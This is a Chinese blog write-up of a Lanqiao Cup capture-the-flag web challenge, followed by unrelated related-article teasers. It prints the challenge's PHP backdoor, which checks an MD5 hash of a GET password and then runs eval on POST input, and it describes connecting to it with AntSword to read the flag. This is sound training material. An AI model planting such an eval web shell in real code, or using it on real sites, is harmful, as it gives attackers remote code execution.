蓝桥杯-网络安全比赛题目-遗漏的压缩包
小蓝同学给你发来了他自己开发的网站链接，
他说他故意留下了一个压缩包文件，里面有网站的源代码，
他想考验一下你的网络安全技能。
（点击“下发赛题”后，你将得到一个http链接。如果该链接自动跳转到https，请手动将其改为http再进行访问。）
- 通过扫描工具扫出该网址下有www.zip文件，下载后查看其中的1337.php
<?php
# leet
if(md5($_GET['pwd'])=='217f81b8ff0a1ab138a8e1bdc031262e'){eval($_POST['1337']);
}
可知MD5后的密文要等于’217f81b8ff0a1ab138a8e1bdc031262e’
输入密码，通过蚁剑进入SHELL
连接成功
进入根目录，找到flag
成功夺旗！
相关文章：
蓝桥杯-网络安全比赛题目-遗漏的压缩包
小蓝同学给你发来了他自己开发的网站链接， 他说他故意留下了一个压缩包文件，里面有网站的源代码， 他想考验一下你的网络安全技能。 （点击“下发赛题”后，你将得到一个http链接。如果该链接自动跳转到https，…...
ES海量数据插入如何优化性能？
2024年10月NJSD技术盛典暨第十届NJSD软件开发者大会、第八届IAS互联网架构大会在南京召开。百度文心快码总经理臧志分享了《AI原生研发新范式的实践与思考》，探讨了大模型赋能下的研发变革及如何在公司和行业中落地，AI原生研发新范式的内涵和推动经验。 …...
遥控救生圈，水上应急救援的新革命_鼎跃安全
水上事故发生后，时间就是生命。每一秒钟的延误，都可能增加溺水者失去生命的风险。传统的救援方式往往依赖人工迅速反应，但在大规模的紧急事件中，人工救援速度难以满足需求。而遥控救生圈的出现改变了这一切，它的作用在…...
【flask开启进程,前端内容图片化并转pdf-会议签到补充】
flask开启进程,前端内容图片化并转pdf-会议签到补充 flask及flask-socketio开启threading页面内容转图片转pdf流程前端主js代码内容转图片-browser端browser端的同步编程flask的主要功能route,def 总结 用到了pdf,来回数据转发和合成,担心flask卡顿,响应差,于是刚好看到threadi…...
Docker在CentOS上的安装与配置
前言 随着云计算和微服务架构的兴起，Docker作为一种轻量级的容器技术，已经成为现代软件开发和运维中的重要工具。本文旨在为初学者提供一份详尽的指南，帮助他们在CentOS系统上安装和配置Docker及相关组件，如Docker Compose和私有…...
【笔记】开关电源变压器设计 - 工作磁通的选择原则
变压器设计中有一个重要的输入参数，是选定电路工作的磁路参数。涉及到磁场的上下震荡最高幅度。如上图所示。磁场的方向有正负，所以如果电流在越过零点震荡，只考虑半周来和Bs或者Bmax比对即可。Bs,Bmax与特定材料有关。材料给出的最大Bmax,或…...
【VScode】如何在VSCode中配置Python开发环境：从零开始的完整指南
文章目录 前言软件准备软件安装1. 安装Python2. 检查Python是否安装成功3. 安装第三方包4. 安装VSCode 配置VSCode1. 安装Python插件2. 创建项目，配置工作区域3. 编写Python文件4. 配置Python编译设置5. 使用代码格式化工具yapf 更多文章结尾 前言 在当今的编程世界…...
Copy From 勇哥的机器视觉实验项目
形成一种有规划的学习模式，节省时间提升效率。 （一） 单相机标定 （1）halcon的标定助手 这个助手是常用工具，要注意的主要问题是 "品质问题"，"标定的精度"。 使用的标定板有两种类型，多种材质。选择时要配合灯光来选择材质。 例如玻璃标定板只适合背…...
在IDEA中使用Git
一、准备工作 这里我们使用 Gitee 做例子，使用 SSH 协议。看这个文章前最好看一下《》这个文章，了解一下 SSH。 1、生成秘钥对 首先要到 ~/.ssh 目录下进行操作，因为生成的公钥和私钥一般放在这个目录下，Windows 就是在用户目…...
实现分析)
分布式锁(防止同时操作同一条数据)实现分析
1. deleteLocked 方法： public R deleteLocked(String id, String username) {String examReportUserKey "examReportId_" id "_" username;stringRedisTemplate.delete(examReportUserKey);return R.ok(); } 功能：删除指定用户…...
【已解决，含泪总结】Ubuntu18.04下非root用户Anaconda3卸载重装，conda install终于不再报错
为什么要卸载重装 因为我最初安装的Anaconda3的版本是5.2.0，适合python3.6.5，其下的conda版本是4.5.4 我一开始本着能用则用，毕竟不是很懂的原则，尽量不要卸掉重来 但。。。bug像滚雪球一样，越来越多 conda install指…...
大语言模型(LLM)量化基础知识(一)
请大家关注我的知乎博客：- 派神 - - 知乎 随着大型语言模型 (LLM) 的参数数量的增长,与其支持硬件（加速器内存）增长速度之间的差距越来越大，如下图所示： 上图显示，从 2017 年到 2022 年，语言模…...
hadoop面试题
一、单项选择题 1、目前，Hadoop的最高版本是哪个（ A ） A、Hadoop3.x B、Hadoop2.x C、Hadoop4.x D、Hadoop1.x 2、大数据的4V特征是指? （ B ） A、数据量大(Volume)、类型繁多(Variety)、价值密度低(Va…...
mysql 安装 windows
新版安装 新版本安装 如果出现initializing database无法安装 则用我当前版本传送门 如MySQL 安装时没有developer default 选项 解决方法传送门 如果上述还不行 可以选择full 汉化下载 传送门...
24下软考中级网络工程师考前必背22页
数据中心选址原则 1、地理位置：备选址地点发生自然灾害的概率和频率、环境危害因素以及气候因素 2、电力能源供应：可用性、成本因素 3、通讯基础设施：光纤主干线路及其距数据中心选址的距离、光纤类型、服务运营商的类型及其支持的服务模式…...
Java类和对象（下篇）
今天接着学习类和对象(苦笑)(苦笑)(苦笑) 1. 封装 1.1 封装的概念 面向对象程序三大特性：封装、继承、多态。 而类和对象阶段，主要研究的就是封装特性。 何为封装呢？简单来说就是套壳屏蔽细节。 举例：对于计算机使用者而言&am…...
k8s图形化显示（KRM）
在master节点 kubectl get po -n kube-system 这个命令会列出 kube-system 命名空间中的所有 Pod 的状态和相关信息，比如名称、状态、重启次数等。 systemctl status kubelet #查看kubelet状态 yum install git #下载git命令 git clone https://gitee.com/duk…...
apache poi 实现下拉框联动校验
apache poi 提供了 DataValidation 接口 让我们可以轻松实现 Excel 下拉框数据局校验。但是下拉框联动校验是无法直接通过 DataValidation 实现，所以我们可以通过其他方式间接实现。 步骤如下： 创建一个隐藏 sheet private static void create…...
【canal 中间件】canal 实时监听 binlog
文章目录 一、安装 MySQL1.1 启动 mysql 服务器1.2 开启 Binlog 写入功能1.2.1创建 binlog 配置文件1.2.2 修改配置文件权限1.2.3 挂载配置文件1.2.4 检测 binlog 配置是否成功 1.3 创建账户并授权 二、安装 canal2.1 安装 canal-admin(可选)2.1.1 启动 canal-admin 容器2.1.2 …...
JVM垃圾收集算法、对应收集器和选择建议
如果说垃圾收集算法是内存回收的方法论，那么垃圾收集器就是内存回收的具体实现。 到目前为止还没有最好的垃圾收集器出现，也没万能的垃圾收集器。实际使用中，根据具体应用场景选择合适的垃圾收集器。 1、垃圾收集算法 垃圾收集算法可以从高…...
AI Agent与Agentic AI：原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例：使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例：使用OpenAI GPT-3进…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名（Class Name)2.协议名（Protocol Name)3.方法名（Method Name)4.属性名（Property Name）5.局部变量/实例变量（Local / Instance Variables&…...
【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍，多层嵌套定位示例
文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解（初学者版） 1. static（默认值） 2. relative（相对定位） 3. absolute（绝对定位） 4. fixed（固定定位） 5. sticky（粘性定位） 三、定位元素的层级关系（z-i…...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX（不访问内存）XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列，以便知晓哪些列包含有价值的数据，…...
2025季度云服务器排行榜
在全球云服务器市场，各厂商的排名和地位并非一成不变，而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势，对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析： 一、全球“三巨头”…...
论文笔记——相干体技术在裂缝预测中的应用研究
目录 相关地震知识补充地震数据的认识地震几何属性 相干体算法定义基本原理第一代相干体技术：基于互相关的相干体技术（Correlation）第二代相干体技术：基于相似的相干体技术（Semblance）基于多道相似的相干体…...
【无标题】路径问题的革命性重构：基于二维拓扑收缩色动力学模型的零点隧穿理论
路径问题的革命性重构：基于二维拓扑收缩色动力学模型的零点隧穿理论 一、传统路径模型的根本缺陷 在经典正方形路径问题中（图1）： mermaid graph LR A((A)) --- B((B)) B --- C((C)) C --- D((D)) D --- A A -.- C[无直接路径] B -…...
AirSim/Cosys-AirSim 游戏开发（四）外部固定位置监控相机
这个博客介绍了如何通过 settings.json 文件添加一个无人机外的 固定位置监控相机，因为在使用过程中发现 Airsim 对外部监控相机的描述模糊，而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置，最后在源码示例中找到了，所以感…...
vulnyx Blogger writeup
信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面，gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress，说明目标所使用的cms是wordpress，访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...